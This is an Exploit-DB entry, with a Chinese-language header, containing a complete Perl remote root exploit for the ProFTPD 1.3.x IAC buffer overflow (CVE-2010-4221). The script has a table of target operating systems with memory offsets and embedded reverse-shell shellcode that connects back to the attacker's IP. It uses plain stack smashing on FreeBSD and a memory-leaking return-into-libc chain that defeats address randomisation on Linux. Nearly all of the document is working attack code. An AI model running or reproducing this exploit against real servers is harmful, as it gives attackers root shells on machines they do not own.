标题: ProFTPd IAC 1.3.x - Remote Command Execution EDB-ID: 15449 CVE: 2010-4221 类型: REMOTE 平台: LINUX 发布日期: 2010-11-07 漏洞利用脚本: # Exploit Title: ProFTPD IAC Remote Root Exploit
# Date: 7 November 2010
# Author: Kingcope
#
# E-DB Note: If you have issues with this exploit, alter lines 549, 555 and 563.

use IO::Socket;

$numtargets = 13;

@targets =
( 
 # Plain Stack Smashing
 
 #Confirmed to work
 ["FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)",# PLATFORM SPEC
  "FreeBSD", # OPERATING SYSTEM
  0,   # EXPLOIT STYLE
  0xbfbfe000, # OFFSET START
  0xbfbfff00, # OFFSET END
  1029],  # ALIGN
 
 #Confirmed to work
 ["FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)",
  "FreeBSD",
  0,
  0xbfbfe000,
  0xbfbfff00,
  1021],
  
 # Return into Libc
 
 #Confirmed to work
 ["Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)",
  "Linux",
  1,   # EXPLOIT STYLE
  0x0804CCD4, # write(2) offset
  8189,  # ALIGN
  0],   # PADDING

 # Confirmed to work
 ["Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary)",
  "Linux",
  1,
  0x0804D23C,
  4101,
  0],
 
 #Confirmed to work
 ["Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary)",
  "Linux",
  1,   
  0x0804C9A4, 
  8189,
  0],   
 #Confirmed to work 
 ["Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary)",
  "Linux",
  1,   
  0x080532D8, 
  4101,
  12],
  
 ["SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary)",
  "Linux",
  1,
  0x0804C9C4,
  8189,
  0],

 ["SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary)",
  "Linux",
  1,
  0x0804CAA8,
  8189,
  0],
  
 ["SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary)",
  "Linux",
  1,
  0x0804CBBC,
  8189,
  0],

 ["SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary)",
  "Linux",
  1,
  0x0804CCBC,
  8189,
  0], 

 #Confirmed to work
 ["SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary)",
  "Linux",
  1,
  0x0804CCE0,
  8189,
  0],  

 ["SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary)",
  "Linux",
  1,
  0x0804CA2C,
  8189,
  0], 

 #Confirmed to work
 ["CentOS 5, ProFTPD 1.3.2e Server (Plesk binary)",
  "Linux",
  1,
  0x0804C290,
  8189,
  0],
 
  # feel free to add more targets.
);

#freebsd reverse shell port 45295
#setup a netcat on this port ^^
$bsdcbsc =
  # setreuid
        "\x31\xc0\x31\xc0\x50\x31\xc0\x50\xb0\x7e\x50\xcd\x80".
  # connect back :>
  "\x31\xc0\x31\xdb\x53\xb3\x06\x53".
        "\xb3\x01\x53\xb3\x02\x53\x54\xb0".
        "\x61\xcd\x80\x31\xd2\x52\x52\x68".
        "\x41\x41\x41\x41\x66\x68\xb0\xef".
        "\xb7\x02\x66\x53\x89\xe1\xb2\x10".
        "\x52\x51\x50\x52\x89\xc2\x31\xc0".
        "\xb0\x62\xcd\x80\x31\xdb\x39\xc3".
        "\x74\x06\x31\xc0\xb0\x01\xcd\x80".
        "\x31\xc0\x50\x52\x50\xb0\x5a\xcd".
        "\x80\x31\xc0\x31\xdb\x43\x53\x52".
        "\x50\xb0\x5a\xcd\x80\x31\xc0\x43".
        "\x53\x52\x50\xb0\x5a\xcd\x80\x31".
        "\xc0\x50\x68\x2f\x2f\x73\x68\x68".
        "\x2f\x62\x69\x6e\x89\xe3\x50\x54".
        "\x53\x50\xb0\x3b\xcd\x80\x31\xc0".
        "\xb0\x01\xcd\x80";

#linux reverse shell port 45295 by bighawk
#setup a netcat on this port ^^
$lnxcbsc =
# setreuid
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90".
# connect back :>
"\x6a\x66".
"\x58".
"\x6a\x01".
"\x5b".    
"\x31\xc9".
"\x51".
"\x6a\x01".
"\x6a\x02".
"\x89\xe1".
"\xcd\x80".
"\x68\x7f\x7f\x7f\x7f". # IP
"\x66\x68\xb0\xef". # PORT
"\x66\x6a\x02".
"\x89\xe1".
"\x6a\x10".    
"\x51".    
"\x50".        
"\x89\xe1".
"\x89\xc6".    
"\x6a\x03".    
"\x5b".    
"\x6a\x66".
"\x58".    
"\xcd\x80".
"\x87\xf3".    
"\x6a\x02".    
"\x59".    
"\xb0\x3f".
"\xcd\x80".    
"\x49".    
"\x79\xf9".
"\xb0\x0b".    
"\x31\xd2".    
"\x52".    
"\x68\x2f\x2f\x73\x68".
"\x68\x2f\x62\x69\x6e".
"\x89\xe3".
"\x52".            
"\x53".                
"\x89\xe1".
"\xcd\x80";

sub exploit1 {
    for ($counter=$targets[$ttype][3]; $counter < $targets[$ttype][4]; $counter += 250) {
  printf("[$target] CURRENT OFFSET = %08x :pP\n", $counter);
  $ret = pack("V", $counter);
  $align = $targets[$ttype][5];

  my $sock = IO::Socket::INET->new(PeerAddr => $target,
                                    PeerPort => 21,
                                  Proto    => 'tcp');

  $stack = "KCOPERULEZKCOPERULEZKC" . $ret . "\x90" x 500 . $shellcode . "A" x 10;

  $v = <$sock>;
 
  print $sock "\x00" x $align . "\xff" . $stack . "\n";
 
  close($sock);      
 }    
}

# Linux technique to retrieve a rootshell (C) kingcope 2010
#
# uses write(2) to fetch process memory out of the remote box (you can find the offset using IDA)
# only the write(2) plt entry offset is needed for the exploit to work (and of course the
# align value)
# once the correct write value is given to the exploit it fetches the memory space of proftpd.
# with this information the exploit can find function entries and byte values
# relative to the write(2) address.
# once the memory is read out the exploit does the following to circumvent linux adress space
# randomization:
# 
# 1.) calculate mmap64() plt entry
# 2.) seek for assembly instructions in the proftpd memory space relative to write(2)
#     such as pop pop ret instructions
# 3.) call mmap64() to map at address 0x10000000 with protection read,write,execute
# 4.) calculate offset for memcpy() which is later used to construct the shellcode copy routine
# 4.) copy known assembly instructions (which have been found before using the memory read)
#     to address 0x10000000. these instructions will copy the shellcode from ESP to 0x10000100
#     and make use of the memcpy found before
# 5.) actually jump to the shellcode finder
# 6.) once the shellcode has been copied to 0x10000100 jump to it
# 7.) shellcode gets executed and we have our desired root shell.

sub exploit2 {
 printf("[$target] %s :pP\n", $targets[$ttype][0]);
 $align = $targets[$ttype][4];
 $write_offset = $targets[$ttype][3];
 $padding = $targets[$ttype][5];
  
 $|=1;
 print "align = $align\n";
 print "Seeking for write(2)..\n";
 
 #known good write(2) values
 #0x0804C290
 #0x0804A85C
 #0x0804A234
 #0x08052830
 #080532D8 proftpd-basic_1.3.3a-4_i386
 #08052938 proftpd-basic_1.3.2e-4_i386 (ubunutu)
 #0804CCD4 psa-proftpd_1.3.2e-debian5.0.build95100504.17_i386 !!

 printf "Using write offset %08x.\n", $write_offset;
 $k = $write_offset;
 $sock = IO::Socket::INET->new(PeerAddr => $target,
                                 PeerPort => 21,
                               Proto    => 'tcp');

 $sock->sockopt(SO_LINGER, pack("ii", 1, 0));
 #$x = <stdin>;
 $stack = "KCOPERULEZKCOPERULEZKC". "C" x $padding . 
    pack("V", $k).  # write
    "\xcc\xcc\xcc\xcc".
    "\x01\x00\x00\x00". # fd for write
    pack("V", $k). # buffer for write
    "\xff\xff\x00\x00"; # length for write

 $v = <$sock>;
 
 print $sock "\x00" x $align . "\xff" . $stack . "\n";
 
 vec ($rfd, fileno($sock), 1) = 1;

 $timeout = 2;
    if (select ($rfd, undef, undef, $timeout) >= 0
             && vec($rfd, fileno($sock), 1))
    {
       if (read($sock, $buff, 0xffff) == 0xffff) {
  printf "\nSUCCESS. write(2) is at %08x\n", $k; 
  close($sock);
  goto lbl1;
  }
    }
    
 close($sock);
 printf "wrong write(2) offset.\n";
 exit;

lbl1:
# Once we're here chances are good that we get the root shell

 print "Reading memory from server...\n";
 my $sock = IO::Socket::INET->new(PeerAddr => $target,
                                 PeerPort => 21,
                               Proto    => 'tcp'); 
 
 $stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding . 
    pack("V", $k).  # write
    "\xcc\xcc\xcc\xcc".
    "\x01\x00\x00\x00". # fd for write
    pack("V", $k). # buffer for write
    "\xff\xff\x0f\x00"; # length for write

 $v = <$sock>;
 
 print $sock "\x00" x $align . "\xff" . $stack . "\n"; 
 
 read($sock, $buff, 0xfffff);

 if (($v = index $buff, "\x5E\x5F\x5D") >= 0) {
  $pop3ret = $k + $v;
  printf "pop pop pop ret located at %08x\n", $pop3ret;
 } else {
  print "Could not find pop pop pop ret\n";
  exit;
 }
 
 if (($v = index $buff, "\x83\xC4\x20\x5B\x5E\x5D\xC3") >= 0) {
  $largepopret = $k + $v;
  printf "large pop ret located at %08x\n", $largepopret;
 } else {
  print "Could not find pop pop pop ret\n";
  exit;
 }

 if (($v = index $buff, "\xC7\x44\x24\x08\x03\x00\x00\x00\xC7\x04\x24\x00\x00\x00\x00\x89\x44\x24\x04") >= 0) {
  $addr1 = $k+$v+23;
  
  $mmap64 = unpack("I", substr($buff, $v+20, 4));
  $mmap64 = $addr1 - (0xffffffff-$mmap64);
  printf "mmap64 is located at %08x\n", $mmap64;
 } else {
  if (($v = index $buff, "\x89\x44\x24\x10\xA1\xBC\xA5\x0F\x08\x89\x44\x24\x04\xe8") >= 0) {
   $addr1 = $k+$v+17;
  
   $mmap64 = unpack("I", substr($buff, $v+14, 4));
   $mmap64 = $addr1 - (0xffffffff-$mmap64);
   printf "mmap64 is located at %08x\n", $mmap64;
  } else {
   print "Could not find mmap64()\n";
   exit;
  }
 }
 
  
  
  if (($v = index $buff, "\x8D\x45\xF4\x89\x04\x24\x89\x54\x24\x08\x8B\x55\x08\x89\x54\x24\x04\xE8") >= 0) {
   $addr1 = $k+$v+21;
   $memcpy = unpack("I", substr($buff, $v+18, 4));
   $memcpy = $addr1 - (0xffffffff-$memcpy);
   printf "memcpy is located at %08x\n", $memcpy;
  } else {  
  
  if (($v = index $buff, "\x8B\x56\x10\x89\x44\x24\x08\x89\x54\x24\x04\x8B\x45\xE4\x89\x04\x24\xe8") >= 0) {
   $addr1 = $k+$v+21;
  
   $memcpy = unpack("I", substr($buff, $v+18, 4));
   $memcpy = $addr1 - (0xffffffff-$memcpy);
   printf "memcpy is located at %08x\n", $memcpy;
  } else {
  if (($v = index $buff, "\x89\x44\x24\x04\xA1\xBC\x9F\x0E\x08\x89\x04\x24") >= 0) {
   $addr1 = $k+$v+16;
  
   $memcpy = unpack("I", substr($buff, $v+13, 4));
   $memcpy = $addr1 - (0xffffffff-$memcpy);
   printf "memcpy is located at %08x\n", $memcpy;
  } else {
  if (($v = index $buff, "\x89\x7C\x24\x04\x89\x1C\x24\x89\x44\x24\x08") >= 0) {
   $addr1 = $k+$v+15;
  
   $memcpy = unpack("I", substr($buff, $v+12, 4));
   $memcpy = $addr1 - (0xffffffff-$memcpy);
   printf "memcpy is located at %08x\n", $memcpy;
 
  }  else {
  if (($v = index $buff, "\x8B\x55\x10\x89\x74\x24\x04\x89\x04\x24\x89\x54\x24\x08") >= 0) {
   $addr1 = $k+$v+18;
   $memcpy = unpack("I", substr($buff, $v+15, 4));
   $memcpy = $addr1 - (0xffffffff-$memcpy);
   printf "memcpy is located at %08x\n", $memcpy;
  } else {
   
   print "Could not find memcpy()\n";
   exit; 
  }
  }
  }
  } 
 }
 
 if (($v = index $buff, "\xfc\x8b") >= 0) {
  $byte1 = $k+$v;
  printf ("byte1: %08x\n", $byte1); 
 } else {
  print "Could not find a special byte\n";
  exit; 
 }
 
 if (($v = index $buff, "\xf4") >= 0) {
  $byte2 = $k+$v;
  printf ("byte2: %08x\n", $byte2);
 } else {
  print "Could not find a special byte\n";
  exit; 
 }
 
 if (($v = index $buff, "\xbf") >= 0) {
  $byte3 = $k+$v;
  printf ("byte3: %08x\n", $byte3); 
 } else {
  print "Could not find a special byte\n";
  exit; 
 }
 
 if (($v = index $buff, "\x00\x01\x00") >= 0) {
  $byte4 = $k+$v;
  printf ("byte4: %08x\n", $byte4); 
 } else {
  print "Could not find a special byte\n";
  exit; 
 }

 if (($v = index $buff, "\x10") >= 0) {
  $byte5 = $k+$v;
  printf ("byte5: %08x\n", $byte5); 
 } else {
  print "Could not find a special byte\n";
  exit; 
 }
 
 if (($v = index $buff, "\xB9\x00\x02\x00\x00") >= 0) {
  $byte6 = $k+$v;
  printf ("byte6: %08x\n", $byte6); 
 } else {
  print "Could not find a special byte\n";
  exit; 
 }
 

 if (($v = index $buff, "\xf3") >= 0) {
  $byte7 = $k+$v;
  printf ("byte7: %08x\n", $byte7); 
 } else {
  print "Could not find a special byte\n";
  exit; 
 }
 
 if (($v = index $buff, "\xA4") >= 0) {
  $byte8 = $k+$v;
  printf ("byte8: %08x\n", $byte8);
 } else {
  print "Could not find a special byte\n";
  exit; 
 }
 
 if (($v = index $buff, "\xeb\xff") >= 0) {
  $byte9 = $k+$v;
  printf ("byte9: %08x\n", $byte9);
 } else {
  print "Could not find a special byte\n";
  exit; 
 }
 
# shellcode copy routine:
#0100740B     FC             CLD
#0100740C     8BF4           MOV ESI,ESP
#0100740E     BF 00010010    MOV EDI,10000100
#01007413     B9 00020000    MOV ECX,200
#01007418     F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
#     EB FF    JMP +0xFF  
# FC 8B 
# F4 BF
# 00 01 00
# 10
# B9 00 02 00 00
# F3:A4
# EB FF

# El1Te X-Ploit TechNiqUe (C)

 print "Building exploit buffer\n";

 $stack = "KCOPERULEZKCOPERULEZKC" . "C" x $padding . 
    pack("V", $mmap64). # mmap64()
    pack("V", $largepopret). # add     esp, 20h; pop; pop
    "\x00\x00\x00\x10". # mmap start
    "\x00\x10\x00\x00". # mmap size
    "\x07\x00\x00\x00". # mmap prot
    "\x32\x00\x00\x00". # mmap flags
    "\xff\xff\xff\xff". # mmap fd
    "\x00\x00\x00\x00". # mmap offset
    "\x00\x00\x00\x00". # mmap offset    
    "\x00\x00\x00\x00".
    "\x00\x00\x00\x00".
    "\x00\x00\x00\x00".
    "\x00\x00\x00\x00".
    pack("V", $memcpy). # memcpy()
    pack("V", $pop3ret). # pop; pop; pop; retn
    "\x00\x00\x00\x10". # destination
    pack("V", $byte1). # origin
    "\x02\x00\x00\x00". # number of bytes to copy
    
    pack("V", $memcpy). # memcpy()
    pack("V", $pop3ret). # pop; pop; pop; retn
    "\x02\x00\x00\x10". # destination
    pack("V", $byte2). # origin
    "\x01\x00\x00\x00". # number of bytes to copy

    pack("V", $memcpy). # memcpy()
    pack("V", $pop3ret). # pop; pop; pop; retn
    "\x03\x00\x00\x10". # destination
    pack("V", $byte3). # origin
    "\x01\x00\x00\x00". # number of bytes to copy
        
    pack("V", $memcpy). # memcpy()
    pack("V", $pop3ret). # pop; pop; pop; retn
    "\x04\x00\x00\x10". # destination
    pack("V", $byte4). # origin
    "\x03\x00\x00\x00". # number of bytes to copy
    
    pack("V", $memcpy). # memcpy()
    pack("V", $pop3ret). # pop; pop; pop; retn
    "\x07\x00\x00\x10". # destination
    pack("V", $byte5). # origin
    "\x01\x00\x00\x00". # number of bytes to copy
    
    pack("V", $memcpy). # memcpy()
    pack("V", $pop3ret). # pop; pop; pop; retn
    "\x08\x00\x00\x10". # destination
    pack("V", $byte6). # origin
    "\x05\x00\x00\x00". # number of bytes to copy

    pack("V", $memcpy). # memcpy()
    pack("V", $pop3ret). # pop; pop; pop; retn
    "\x0d\x00\x00\x10". # destination
    pack("V", $byte7). # origin
    "\x01\x00\x00\x00". # number of bytes to copy

    pack("V", $memcpy). # memcpy()
    pack("V", $pop3ret). # pop; pop; pop; retn
    "\x0e\x00\x00\x10". # destination
    pack("V", $byte8). # origin
    "\x01\x00\x00\x00". # number of bytes to copy
    
    pack("V", $memcpy). # memcpy()
    pack("V", $pop3ret). # pop; pop; pop; retn
    "\x0f\x00\x00\x10". # destination
    pack("V", $byte9). # origin
    "\x02\x00\x00\x00". # number of bytes to copy
    
    "\x00\x00\x00\x10". # JUMP TO 0x10000000 rwxp address    

    "\x90" x 100 . $shellcode . "\x90" x 10;  
 
 print "Sending exploit buffer!\n";
 
 my $sock = IO::Socket::INET->new(PeerAddr => $target,
                                 PeerPort => 21,
                               Proto    => 'tcp');     
 $v = <$sock>;

 print $sock "\x00" x $align . "\xff" . $stack . "\n";
 
 print "Check your netcat?\n";
 
 while(<$sock>) {
  print; 
 }    
}

sub usage() {
 print "written by kingcope\n";
  print "usage:\n".
     "proremote.pl <target ip/host> <your ip> <target type>\n\n";
    for ($i=0; $i<$numtargets; $i++) {
    print "\t[".$i."]\t". $targets[$i][0]. "\r\n";
    }
     
 exit;
}

if ($#ARGV ne 2) { usage; }

$target = $ARGV[0];
$cbip = $ARGV[1];
$ttype = $ARGV[2];

$platform = $targets[$ttype][1];
$style = $targets[$ttype][2];

($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));

if ($platform eq "FreeBSD") {
 $shellcode = $bsdcbsc;
 substr($shellcode, 37, 4, $a1 . $a2 . $a3 . $a4);
} else { 
if ($platform eq "Linux") {
 $shellcode = $lnxcbsc;
 substr($shellcode, 31, 4, $a1 . $a2 . $a3 . $a4);
} else {
 print "typo ?\n";
 exit;
}}

if ($style eq 0) {
 exploit1;
} else {
 exploit2; 
}

print "done.\n";
exit; URL: https://www.exploit-db.com/exploits/15449